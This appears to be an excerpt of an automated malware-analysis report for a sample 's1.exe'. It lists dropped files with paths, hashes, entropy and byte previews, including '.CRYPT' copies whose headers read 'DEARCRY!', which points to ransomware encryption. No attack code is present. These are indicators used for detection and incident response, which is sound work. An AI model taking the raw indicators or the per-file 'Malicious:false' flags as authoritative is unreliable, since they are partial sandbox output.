                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3e6fd8fd-6ecd-ad57-8d32-694f0edeeab6.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3496
                                                              Entropy (8bit):7.933699778301054
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A969395C460CBAFC3DC8C25A6532D15B
                                                              SHA1:2A97C0445505E12D84BAA6C6EEDA985F36628EB3
                                                              SHA-256:240DCC36875E57A5D1FDDD7474ADCCD8AC3406F433745040C2FE083AA4100967
                                                              SHA-512:630B63833CA2CD78905F4781E2BB605639D498F1F2EC5F1C6C3FCF096466F5E1CF6B33717C78A5A70A3DFCB227C1A7D9B5F702A40D7C6BFD6ECA80F65E62F7E8
                                                              Malicious:false
                                                              Preview: DEARCRY!......i...J.........xH~..Z..C$.Jmm.x.H..@..V.~....6..Y.....Rvp...Z.($.s....~...`...}.g.2........sb.._....D{.[T....}..^.%L....6!+{sk........W...D..\-!~4.A..*...(.....u,D..".X.F........N.u..]..P..R.O.eu.v.0.<:.+.m.ut>$.e.=3..l..n0..k.......%..CLb.<..{...................)Sus.>C...C.i....F/.._.FOe.q"..Y..g.."^..x"k.$:.~...b....GP.(.C..,N.....i.N.-cHs1a.<.[.....R.7..0...'V..Xz..J...9.......O-K0...u.MXZ0%.@.$..C.w.X...f..'..G<.....P.A..t.XK.M4...Xu$..a...i....j(.,.~.l;X......A]..M8.?.D...3.k.z...'.E}.4.[.?.k/.P...z:s.O?..;.!m......._.....,.f..=n.[gWW...G.....LD....X,..~(!N..fS4....oQxn#.m..k.[......h..Q..[..0..3....q.UB...Y.....p....`..`r{t...V.."..*k&..T.z..;..)]..P..1.$m!..tL3.vA.x...Eu.!.P.Rzy.m....V .13..|Q. j..S4Y#....O..3.o[../.t..L(......a....4...L_......E..&Db.)....Ocq.7.S. ..>,.v.<}....-.".6a.....o..}O%..u....w......C.....D.#.........iP....?D......Q..[.'sH.,:`....7.w......N..F.B5o.b....!.= .]X..}.-...=b.r..[.n\.s.0^.s.)..@.^R...xx..
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3ebdb897-991b-934f-ee13-2ca21ed81938.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3224
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D1A6E30BA08FEC56FCD6F937A2A05AA2
                                                              SHA1:649242071060001BC665834080689C78A4633F82
                                                              SHA-256:0E3E546CB39FB6B87829668C1659E0E72788EA046EF0643ACE6D30B46460F04A
                                                              SHA-512:D6687B652B5B1764FE2C417C04371F5D9CDCBEEC63EA805352139882A9620BC78857BA02BB63BAC0387171C1C784EC370E7F9B45E029CB6A45D0E655A0F9633F
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\3ebdb897-991b-934f-ee13-2ca21ed81938.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.951181948394308
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A3FEF9A2926C5517F069839EEEF4187F
                                                              SHA1:D2CDE9C7D8B2F912F947F57559E6A3599F1A62E2
                                                              SHA-256:B1D2BF102F6E02A8B5E58FEE0C442B29292B292B4BB525FEBA85A6404F5A1EDF
                                                              SHA-512:090089B4F01ACEB9C6F92523769C4169DAD3A6501C7CE57E7DC5D5DA87F36F511295222BBB8619E70F8592821469DDC87E742F769AADB62EC2949C37054AB589
                                                              Malicious:false
                                                              Preview: DEARCRY!....C.X.y.?.M.......j....[...F..W.Ql.9.@ .]..q.h..1...oS...7Q+m..8K.:.....P.U.5.,.f..i...^)o.:.2[d...F.X.....cm......b2a....cxzdVZ.....{.k...0.P.W6.t.R.9a...<...M.D..j.W..g.*.@...j.pAv_..h`/sTa...R..x=>..P.56t.H...m.....o...+....G....wNP|.H..@..0..............j7Hf(<...C.X..R.....-T....kx3...C....U.y..V.M..=C.2n..`....(....e2..h......<@...^..P.`..K...b..F.9q`.[).@...<......u!..j.Y.<^...H.*....O%....".W..8...U.j.}.9OSo.2.'8.P..|........xS.z......i.J."-0.s!X5.....H..%.p.9..s..J....W...y$.i|<.R..?x58..j.y.......);..?[].,..tn..MH....0.......7.....g.HI%.&o......T...........2....:.NJ..29{.....7...=a.Q.J......[..]..n..,4h]...'.y.:........{.....&..d...7...p..m..f..V..AL........+(7..Z..)..O..$.<. 0...N..s.....kj....?....y......U..U...'b.=.....;...8q.w...Xr..\.;C5TbKV..Dfk...+.=HJ.a..`../..6j.0..BdXj.)......j...V........9."i...k.x.m....e.|.*.l.......K&..b....u,...R..6hh?...(.2..B.A.[k. .5...'........S.......L.<.)...R.>G....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\42180d93-7e2c-7efa-09ed-dfdffa034b8e.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3511
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C322DD791461E083093591F0A4D6CF32
                                                              SHA1:19CE82C714FA5802AF8B275A783CF5CC3F3120D3
                                                              SHA-256:A5C31B7CA023E63BD3D4179462EAFE80B0D834A9181E9F6CF6FDBA8E37E0959F
                                                              SHA-512:5E1D3F77BE7AC5E73F59BD621E5CD903A9F02C9F98759C15992A58149DC6A420E4BD244DB3A354927A8DC33837302F096B4E59138F615D3FCC1069AAFA2F30DC
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\42180d93-7e2c-7efa-09ed-dfdffa034b8e.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3800
                                                              Entropy (8bit):7.944794903708874
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5DEF5EB74564B621B33809820A29928C
                                                              SHA1:9CAE1806A32C1D3EDECA95C00159D1F41FB1E562
                                                              SHA-256:B7505044901555A1DA3296087E6E607E7FB658119F2689A2D56705FCA97A1A31
                                                              SHA-512:6B1BA2BA43CFA72E8A5B7AFEBD5F421E455C457B6DF94D366BCE9F05397F1C3ED30E169B3859D7DA7E093CBAAE29FFAAB5040DE1D95581A97040F331556723C7
                                                              Malicious:false
                                                              Preview: DEARCRY!......^^..k.A..-...ysX^..SMO.:4./|..k!>....B'../'..*t......J..+."....&.v....Kq....q.).Gu..;.....\k.....A.].Q|..W..V..RWp.......V.|.H.P...Z:s..x......i.3=}Kod.\:.7.@(}....)../.#..p.!...*....C'.'.nLd...4.....p.8..u.$..z.v..l..1p.k.Nh.....Q*.%.e...W.8M...............\...V,zU.v_..t....!.ad.F...(...Irk....T}t..A....-.a.lxd....R#;..}5.s.....Wp...A*k.|N...;z.N S...*..h.yLeJQ.....f3.....[..E.i...M...K.+......{.....k..cW...[u...CRZ.{....mDZ.>.;.W...}.R.....R.>....!........9......r......X.9....3*u..8.k..6...WD..A.1$.S.ko.a.w.9.M.bD@}m....?f.<....x.Y......Og`.V..zC1i..c...!..1..k..c.gq`}.q.c]......S..X..|#._.[...+.%.uxv..>C.t.`*..Jx.....^.{...us.'~..p...fq,.(.P...tm..gE....sk...`...h.%..}..pb..\D.{./.r..F..a0@...qY#....q.8Q`R&sw|ri..,^....!....<.<Z...S.?:.|.M.g.D....#.<UZz.~..m....sD..+xX.,8w.k}H ..It...\...kEN0!.Q..G.w{.T..f.%.......<.r..<l..$...Dm...x.CoF.r........5WR...,.*.<xF)...Du....df..6;?.T..Vny.....f..U.f.....,.........Q3jW%d..}.....D
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3509
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CA3FA84330687CA5E61B7D1D5E068B19
                                                              SHA1:913DF19B3768FAD4A5C7D6ADE02611140B4406D1
                                                              SHA-256:F5110C883AF43AC471F0B0655364C1936006F7486BEC8DFC54B5CC8E5DB2B325
                                                              SHA-512:D9C41950AA9BF4A67DABCF36037499C8696475D960FF50196C10A00ED58A22CC540996FB506F13F5AC4B2E4C4C0476C7EB3149DF378DB10C15A81DF5179A5EFD
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\46a9b648-161a-6393-bdaf-a6ccb77a570d.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3800
                                                              Entropy (8bit):7.949059151292003
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FE45099A5E04F0A9D5CE822C230F49F5
                                                              SHA1:FAE41E9579B71E0F8AD4D93112F2F32F7D7903E3
                                                              SHA-256:18557E4D45F4C2DB32695BA1F06576F151643D909E81D3D203C766FEE634CF9E
                                                              SHA-512:AE593218934F176EF2FE6F4BC318BEA9D32B5D338E99F2F0DEDF68B8BD928D7D36C5D83615904D3C6B5E5AA84DFFAE0B7E93428A44958F0D07F1622FBB89A9F2
                                                              Malicious:false
                                                              Preview: DEARCRY!....*...Op2.8.D...k........2_.3...X...+.{(....,...b....[.Lr.;.d..9....]NN...a..o..:.e;.b...BS......Q..Go.RhQ....B...D...4>*.;.._~wp....."..0+.....:....:#....=.4=.Y..7Z.X.o..<nm..km'J#.....*F..Z...>.B%SK.d...J....Z.ru%1a'=.@....i..WX. ..]3....JI6.............X......1 X.Or.U....Y....|.*3u+T..'.+.....4..........."m.uJ#$g#....g....F..>kv..].Sr....V......~.o9.X......../.|..8..0.........K.W.......l._....9.I.....a..W3Vb..E...H.....%.E...'.a.o..G..KN.z.p:)B..P.."....;..7...XW.o...bo..J.r....jm.1Y....[.DG.IB$..Q.i....2_..HmN#.xJ%n....C......+..P........$=..\...<f.tw.6&..OX..I.n.Cx.F..d.)J.n.........K"?|w.]t.....:|.m...q.S%..M.D.}....;`D5A..^n..M{...=.....%I.......C..q.g`V..y3...,.^C5BdX.<.<.K..{l5..'...U..n.....b.....R`p..m5...r.R..*"..|/....J.~.y...(.......=fR&..s.{.R..|..U`R.,.-Dkw....b...n..R.1....O.v...@.O.U....Y...f...K^!D./"..... U..(.;...((de...=S..~Qe...R..0/..&D..J...$...:.J~.C0M..'.q..M...)..e5..d^uf1_..h>48..IIb.TIb.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3200
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:49B1245E4DEEA2F4182E2E8DFBA17ACC
                                                              SHA1:6973E3BDFE350EF5EC9E7DB3495ACF309F34A5D2
                                                              SHA-256:4A3DB3197C3E6176B5CB8EDE1BCAC8E8F41D5FFB1585D5909B394E9BB6CB27A6
                                                              SHA-512:08F7B5C02FCB343A5FFC52ADF13C23CB4A11423075CCF430AC1BEB78FA421EC3583152C6C21D96B67036D8432CCA0CB0212CED24C89A8E14488590060BE88C1D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\4c4ecbc0-0ec0-3929-aebb-a931a339fb23.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3496
                                                              Entropy (8bit):7.9396035443941155
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:42FE6E365D675EDF0934813DAB012A65
                                                              SHA1:3788D0914A2AFCDC3879A2441441B2919308ED7A
                                                              SHA-256:0202F86E3A4BFDA7F5722D83590C1D05A6C0D59882950EABE8E2F2566C223772
                                                              SHA-512:8BAA4E9768812DC06330FAE88761D94CE5B42044E2971D76EF79EA630AE6ADBAD1F2B8B058608D45628FB126B17B9F499D1B7F6A6604A71EEA4DDA62444E05C2
                                                              Malicious:false
                                                              Preview: DEARCRY!....uG.4z....?k_...^Y.M.B=n|b..,.1..<@...1..HZ.....fr......E.......z..K]\t.k.F.#w...<.{B...F..D.*....<...$D9$..lXb..T.N.T..( .+.9.LI..f.9-J#.I..R..........O...5...z&.<D....0&...|.....n.K...0@b...j`....b.<.U..w:5.S..y........K(..m..F."......k..*.!...F............w.$..[..(..{WH|.8..+.%.|..........%...PP..Q{.g.../8,.x]q'.s.2gEL.J......m(..X...y@.D...y>QN..x)....._......X..".]..+...8.B.!z.f.{.q.Y.,..|WM.KL....&.@1}.h~c..[ ......3.....&..=00.?{.3!|..C.kX..........Hs.2.:{...].a...b.T(.....9z...:..!..Zy<.........N......D?wc......o....G.-..>I.s...j$...'(..N.y'&.n3..p..Lfp..*Y[..... ..I...s.O..z^q..dZ...........i....|..7.J..7.O.GvT.nX.q.t.,0..x.k.&.....X..dL.NQ.6OS....h..b..b.*._.z.....e3.t...H.&.zE`x....B).#w..*....)...1...|...V.x...>........-^..wp..xL...DC..]1.R*]...2.d.'...0.2.Pz.......k.u@....S......PQ.....d.UE.>....e@#2H<g.F.........#U.....g.d+.......".........,!..\D...W...;....)h..i.R.Y.....D.(S.,%>.Q.5=.D.'5|..Q_'..9.t..~..@.K..#....TQ.).
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\517cfcaf-138b-1796-2cea-62892204250a.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2664
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F78FD6794F531A8CCB29FD50950EDE71
                                                              SHA1:72BB6834D7AFD23791066A7F1E6F8130EE7FC0B9
                                                              SHA-256:518F3D7C0423F464AC5DFDEE3F6A1019CA79442D8F285FA45CB93B1D7BFD821A
                                                              SHA-512:BC91BCD2BE1D1E218863589A0D68D442831C47C4171D3895AFFC0362E24733321815FA31A463F70D73128B02491C368942117FA75998047B319E8DD0688CEF9F
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\517cfcaf-138b-1796-2cea-62892204250a.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2952
                                                              Entropy (8bit):7.942464579848602
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:47E4EE48220835B2B4511F6630B2F59E
                                                              SHA1:A005C8797F9605FC7E08FACCE182F12D69287F94
                                                              SHA-256:B99686EF3D4C9067B53262A4C45EB9EC170D1878B1251D994455E74A36AF4A1C
                                                              SHA-512:6260F0A7E0B8FB5389F9001671140A6CE53DC346421F5037A42CD74F012486F122161410AC98E077F34684DE62A0F9DDD2778BF875500F6F34147CEAC6BB085D
                                                              Malicious:false
                                                              Preview: DEARCRY!..........*.y...E.[W7.....LD......Z.L.D..p...,DM......[<x...i...Ee......P.V......C^...h....R'......k.A.cz.8........`.G>F.&"@..o..d..,V*~._..M...%.Y....W;..a.../..KX.;qgz.. .7.(...T...."..]i.B..m ....&..Sk..;..].R.~..(..dv.V..x.{.`h.....oVP........h..........+..:..mCG..['.$...[.6....i..!{....I./.18..b!P..U..7.JNX.v/.......bZ ."cW..z..R.eTi!..S...Pz@WG.&............?5..P.......%?..Q..F.u........8.-...{.;.F7.G.f... ...=.g.f..2....~....}.2......S)..G..n`.c..a...Z;.D..h!..7......A........*..U..1.1.Y..$..=.\....HG.s.|.._..".K..).....H8..z...}w.E...m.E.k..i...(.).N>G./../^....!8.UGY.A!.6...FKv...s.hP'l..vE...Q.Bg.3r.....c....2..:.\-..^.j...+.<.....Ijg...>vP..a..."8......`.X.`ZXEa.H.S].I.I.S.....N....7..&,.\.3..r..H...9s6..&.2E....^..Eh..nD$.M...}..M...ti*.:.....XR}.:_....f...h.....E..q.s.QA..kke.......2..<..........n..S..D...8..X...~..8.....~3i.,X..y.j#.....%.Q....\..a."'..^.....N.*x.r.X?8.............^..~I&.XE).0?..&.fv..c.;.7.....m.\0^B....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\52a7e8cc-4b89-0eb8-5b4c-0f924bfc3949.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3548
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CE199F51DB421FBDEE05A23613446792
                                                              SHA1:8990FB6DAD6AD83D02DB5DDCF434C3DC2CAC7540
                                                              SHA-256:E0FEF6CAD2E84D9AD051286024D0A0906DEB19B3A352E5DF49D8BFFF30115E49
                                                              SHA-512:3EAAA65103B565CBDCA750481F99FB7F4ABE00A523313F9BCEF8B9F020296C1534DA347EDF54602F9F6F45B941F0353FF97114943DA01BB0A8D07900FD6BB4CE
                                                              Malicious:false
